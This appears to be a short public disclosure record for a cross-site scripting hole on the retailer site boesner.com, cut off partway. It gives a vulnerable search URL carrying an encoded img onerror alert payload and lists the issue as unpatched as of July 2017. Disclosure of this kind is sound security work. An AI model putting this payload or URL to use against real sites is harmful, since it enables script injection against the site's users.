boesner.com XSS vulnerability

Vulnerable URL: http://www.boesner.com/mobile/search.html?search=%3Cimg%20src=x%20onerror=alert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 161699 Google...